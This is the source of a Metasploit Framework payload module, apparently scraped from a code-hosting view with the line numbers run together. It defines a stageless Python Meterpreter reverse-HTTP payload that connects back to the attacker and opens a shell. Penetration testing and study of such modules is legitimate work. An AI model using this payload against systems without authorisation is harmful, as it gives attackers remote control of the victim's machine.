Path: blob/master/modules/payloads/singles/python/meterpreter_reverse_http.rb
21540 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Python10include Msf::Payload::Python::ReverseHttp11include Msf::Payload::Python::MeterpreterLoader1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'Python Meterpreter Shell, Reverse HTTP Inline',18'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',19'Author' => 'Spencer McIntyre',20'License' => MSF_LICENSE,21'Platform' => 'python',22'Arch' => ARCH_PYTHON,23'Handler' => Msf::Handler::ReverseHttp,24'Session' => Msf::Sessions::Meterpreter_Python_Python25)26)2728register_advanced_options(29Msf::Opt.http_header_options +30Msf::Opt.http_proxy_options31)32end3334def generate_reverse_http(opts = {})35opts[:uri_uuid_mode] = :init_connect36met = stage_meterpreter({37url: generate_callback_url(opts),38http_user_agent: opts[:user_agent],39http_proxy_host: opts[:proxy_host],40http_proxy_port: opts[:proxy_port],41stageless: true42})4344py_create_exec_stub(met)45end46end474849